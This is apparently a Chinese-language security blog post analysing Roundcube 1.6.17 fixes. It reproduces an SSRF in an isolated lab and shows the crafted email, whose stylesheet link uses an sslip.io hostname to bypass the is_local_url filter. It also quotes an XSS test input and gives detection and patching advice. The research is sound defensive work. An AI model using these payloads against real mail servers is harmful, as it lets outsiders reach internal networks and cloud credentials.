你打开一封邮件。在阅读的同时,你的邮件服务器已经开始敲击一个你从未给过它的内部地址——因为邮件要求它这样做。这不是思想实验。我已在实验环境中完整复现了该攻击,并捕获到了请求日志。

阅读邮件早已不再是被动的行为。客户端解析 MIME、将文本渲染为 HTML、加载样式、展示附件、把地址和链接转为可点击形式。这些步骤中的每一步,都是在运行陌生人发送过来的数据。而一旦其中某一步对这些数据过于信任,邮件就会做出你未曾要求的事情。

2026 年 7 月,Roundcube 发布了 1.6.17 版本。这不是一次小补丁,而是一整套修复。其中两个漏洞位于严重性最高级别:NIST 将两者评定为满分 10.0,而 MITRE 对 SSRF 的评分较为谨慎,给出 7.2。其中一个漏洞允许邮件让邮件服务器自行访问内部网络。我在隔离的实验环境中搭建了受影响版本,并完整复现了攻击流程,直到捕获到服务器自身发起请求的日志行。我也会坦诚说明公开数据能覆盖到什么程度,以及为什么第二个 10.0 分的漏洞无法通过公开信息复现。

前言:我并未在生产环境运行 Roundcube,本文也不是在指责它是一款糟糕的软件。我从事服务器安全工作,这里吸引我的是一个反复出现的模式:渲染外部发送内容的软件,其攻击面恰恰出现在它试图提供便利的地方。Roundcube 是一个清晰的例子,因为这些漏洞存在于功能本身:样式加载、地址链接化、附件解析。

一封邮件如何让服务器遍历网络:CVE-2026-62643(CVSS 10.0)

我先从已成功复现的漏洞开始。

当 Roundcube 展示 HTML 邮件时,它不会直接将样式原样交给浏览器。它会先将外部样式拉取到自己的服务器,经过清理器处理后再传递给浏览器。初衷合理:先清理 CSS 中的危险结构,再交给用户。问题在于执行拉取操作的是服务器本身。

下面是做出该决策的代码片段(program/actions/mail/index.php):

if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {
    // rewrite the stylesheet link to the internal modcss handler,
    // which will fetch the URL ITSELF and return sanitized CSS
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
    ...
}

Enter fullscreen mode Exit fullscreen mode

因此,携带 <link rel="stylesheet" href="..."> 的邮件会让服务器访问该地址。阻止它访问内部网络的唯一屏障是 is_local_url 检查。整个 SSRF 防御都依赖于这个函数。下面来看它在 1.6.16 版本中的实现。

public static function is_local_url($url)
{
    $host = parse_url($url, \PHP_URL_HOST);
    ...
    $host = preg_replace('/^::ffff:/i', '', $host);

    if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
        $host = trim($matches[1], '-.');
    }

    if ($address = Factory::parseAddressString($host, $options)) {
        $nets = [
            '0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
            '192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
        ];
        foreach ($nets as $net) {
            $range = Factory::parseRangeString($net);
            if ($range->contains($address)) {
                return true; // local, block it
            }
        }
        return false;
    }
    ...
}

Enter fullscreen mode Exit fullscreen mode

直接的私有地址被诚实地覆盖了:所有 RFC1918 地址、回环地址、链路本地地址(包括云元数据地址 169.254)。你不能写入 href="http://127.0.0.1"http://169.254.169.254,它们会被拦截。

但请注意 nip.io 那行。开发者已经知道存在一些 DNS 服务,能将类似 10.0.0.1.nip.io 的域名解析为 IP 10.0.0.1。这类服务可以将私有地址隐藏在公开域名之后:is_local_url 看到的是域名而非 IP,因此放行。随后 nip.io 会被还原为地址后再进行检查。这样做是合理的。

然而 nip.io 并不是唯一的选择。还有 sslip.io,它做着完全相同的事,但在 1.6.16 版本中并未被包含在那行代码里。这意味着 172.30.0.3.sslip.io 对该函数来说只是一个外部域名。它不会解包,parseAddressString 无法从域名中提取 IP,范围检查不会触发,函数返回 false——不是本地地址,允许通过。

实验环境

一切运行在一个由三个容器组成的隔离网络中,邮箱均为虚拟。受害者使用 Roundcube 1.6.16(修复前的最后一个版本),邮件服务器为 GreenMail,攻击者容器运行普通的 python -m http.server,在网络内可见的地址为 172.30.0.3

services:
  roundcube:
    image: roundcube/roundcubemail:1.6.16-apache
    environment:
      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
      ROUNDCUBEMAIL_SMTP_SERVER: greenmail
    ports: ["127.0.0.1:8091:80"]
  greenmail:
    image: greenmail/standalone:latest
    environment:
      GREENMAIL_OPTS: "-Dgreenmail.setup.test.all [email protected]:victimpass,[email protected]:attackerpass"
  attacker:
    image: python:3.12-alpine
    command: python -m http.server 8000

Enter fullscreen mode Exit fullscreen mode

我在容器内直接确认了版本,而不是猜测:

$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail

## Release 1.6.16

Enter fullscreen mode Exit fullscreen mode

攻击流程

我向受害者发送了一封邮件,头部仅有一行。所选主机名可绕过 is_local_url:公共 DNS 会将 172.30.0.3.sslip.io 解析回私有地址 172.30.0.3,我的监听器正位于此。

html = (
    '<html><head>'
    '<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
    '</head><body><p>Styled newsletter.</p></body></html>'
)

Enter fullscreen mode Exit fullscreen mode

我以受害者身份登录 Webmail 并打开邮件。默认情况下 Roundcube 会阻止外部内容并显示一个允许按钮,因此这不是零点击攻击,而是需要用户点击一次。我允许外部内容(在实验环境中我执行了按钮背后的同一命令)。随后查看监听器日志:

172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404

Enter fullscreen mode Exit fullscreen mode

请求到达了,且来自 172.30.0.4。这不是受害者的浏览器。浏览器甚至不会从外部看到 172.30.0.3.sslip.io 这个名称。172.30.0.4 是 Roundcube 容器本身,我通过 hostname -i 确认过。因此,服务器在邮件的指令下访问了我指定的内部地址。404 并不重要,重要的是请求确实发生了。这就是 SSRF:我无法访问服务器的内部网络,但通过一封邮件,我让服务器为我访问了那里。

在真实服务器上,我的空监听器可能是一个内部服务、相邻容器、无法从外部访问的管理面板,或是内部端口上的数据库。尤其危险的是云元数据端点 169.254.169.254:一旦服务器发出这样的请求,就会将整个云账号的临时密钥泄露出去。此版本已将 169.254 纳入拦截列表,但这类攻击的本质正是如此,过滤器中的任何疏漏都会重新打开通向凭证的道路。攻击者将邮件服务器变成了通往内部网络的代理。

如何在日志中捕获

Webmail 中的 SSRF 有一个便利之处:它会留下明显痕迹——Web 服务器进程本身向它本不该访问的地址发出了出站 HTTP 连接。不是客户端,不是浏览器,而是你的 Roundcube 的 php-fpm 或 apache 突然开始发起连接。

告警规则很简单:凡是来自 Web 服务器 UID 的出站连接,且目标地址不在允许列表(你的 SMTP、IMAP、更新服务器)中,就视为安全事件。在实验环境中,捕获到的是来自 172.30.0.4(即 Roundcube 自身 IP)的日志行。在生产环境中,同样的模式可通过出口过滤器或反向代理日志捕获:一个本应只接收请求的服务突然开始主动发起请求。

修复

一行补丁。DNS 服务的解包逻辑现在覆盖了更多服务,而不仅仅是 nip.io:

- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

我将镜像更新至 1.6.17,重建容器,并用同一邮箱重放了完全相同的邮件。确认补丁已生效:

$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

Enter fullscreen mode Exit fullscreen mode

我打开邮件并允许外部内容。此后监听器日志未再变化,仍保留 1.6.16 版本时的单次请求。没有新的命中。现在 is_local_url 会将 172.30.0.3.sslip.io 解包为 172.30.0.3,发现它落在 172.16.0.0/12 范围内,于是返回 true。服务器不再发起请求。漏洞已修复。

此次修复同时收紧了 IPv6 绕过方式:preg_replace('/^::ffff:/i', ...) 改为 /^[0:]*:ffff:/i,因此 0:0:0:0:0:ffff:127.0.0.1 之类的记录现在也能被捕获。

第二个 10.0 分漏洞:无法通过公开数据触发(CVE-2026-54433)

这一部分我会坦诚说明。对于第二个漏洞,我没有可工作的利用代码,我会解释原因,因为分析过程本身比最终结果更有价值。

CVE-2026-54433 按描述是一种零点击存储型 XSS,存在于纯文本邮件的渲染过程中。这听起来很惊人:即使是纯文本(按定义不含 HTML),在打开时也能执行他人的 JavaScript。根源在于链接化处理。当 Roundcube 展示文本邮件时,它会查找其中的邮箱地址和链接,并将它们包装成可点击标签。生成 HTML 的这一步正是漏洞所在。

我查看了修复提交。它只有一个改动,修改了 rcube_string_replacer.php 中 mail 链接查询部分的正则表达式:

- . "(\?[$url1$url2]+)?"        // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?'             // after: forbid < > and whitespace

Enter fullscreen mode Exit fullscreen mode

要点很清楚:之前 mailto 链接的尾部允许使用可用于跳出标记的字符,修复后则禁止使用尖括号和空白字符。提交中附带了一个恶意输入的测试用例:

[email protected]?]<img/src="x"/onerror=alert(document.domain)>

Enter fullscreen mode Exit fullscreen mode

我在 1.6.16 版本的浏览器中运行该输入,得到了安全的 HTML 返回:

<a href="mailto:[email protected]?">[email protected]?</a>]&lt;img/src="x"/onerror=alert(document.domain)&gt;

Enter fullscreen mode Exit fullscreen mode

也就是说,<img> 被转义为实体,即使在受影响版本上脚本也不会执行。我深入研究了原因。链接不仅由正则表达式处理,还由 parse_url_brackets 函数处理,该函数会仔细剥离地址中不成对的括号,包括 ]。结果 ] 进入了尾部,而 <img> 落入了普通文本中,随后被转义。提交中的测试输入展示了修复的边界,但它本身并不是一个可工作的利用。

这是正常情况。附加到修复的公开测试很少与真实世界的有效载荷匹配。实际的利用向量由发现该漏洞的研究者持有(致谢中提及 Samsung R&D Institute Ukraine 的 Bohdan Kurinnoy),且在补丁广泛部署前不会公开,以免过早武装攻击者。你可以从一行 diff 中构建一个可工作的利用,但这需要对链接化器进行单独、细致的工作,我不会将猜测当作复现。可以肯定的是:纯文本链接化器中的漏洞是真实的,其类型为 XSS,已通过收紧字符集的方式修复。不能肯定的是:公告中的这一特定行本身就能攻击任何人。

这不是一个漏洞,而是一整类问题

纵观 1.6.17 版本可以清楚地看到,他们并非在修复一个随机拼写错误,而是在逐一检查邮件客户端的攻击面。

  • CVE-2026-54432,另一个存储型 XSS,但这次通过附件的 MIME 类型。在附件验证警告页面中,类型未进行转义。
  • 密码插件中通过会话注入用户名导致的漏洞。
  • 除本文所述 sslip.io 外,还有两个通过特定本地地址实现的 SSRF 绕过。
  • TNEF 解码器中的两个拒绝服务漏洞(即 Outlook 的 winmail.dat):一个无限循环和一个通过压缩 RTF 中构造的大小导致的崩溃。

不同模块、不同漏洞类型,但根源相同。客户端解析并渲染来自邮件的数据:文本、样式、附件、专有 Microsoft 格式。每个解析器都信任他人的输入。邮件客户端越丰富,其中就有越多地方让陌生人的邮件获得超出预期的控制权。样式带来了 SSRF,链接化器带来了 XSS,TNEF 解码器带来了 DoS。

如果你正在运行 Roundcube,请立即检查

  1. 版本。1.6.17 或更新版本(1.7 分支为 1.7.2)。所有列出的漏洞均已在这些版本中修复。
  2. 外部内容。默认保持外部资源阻止功能开启。这不仅关乎隐私,也能防止 SSRF 在无需用户操作的情况下触发。
  3. 网络隔离。邮件前端不应与内部服务和云元数据端点处于同一扁平网络。限制 Web 服务器本身的出站连接,而不仅仅是入站连接。
  4. 插件。如果你使用密码更改插件,请更新它,它也有自己的漏洞。
  5. 监控。来自 Webmail 进程的、指向非预期地址的出站 HTTP 请求是一个信号。在实验环境中,SSRF 表现为服务器自身 IP 向不应访问的地方发起请求。

从中可得出的结论

一行正则表达式中遗漏了第二个 DNS 服务,一封邮件就能驱动你的服务器在内部网络中游走。另一行中字符集限制不够严格,一封纯文本邮件就能触发 XSS。这与 Roundcube 无关。任何渲染你收到的内容的软件默认都会信任这些内容,而安全工作就是逐一撤销这些信任的长长清单。在便利功能和漏洞之间,有时仅差过滤器中遗漏的一个案例。在这里,这些案例累积成了一个完整的版本。


实验环境搭建于隔离网络,所有地址和邮箱均为虚拟。材料仅用于保护你自己的系统。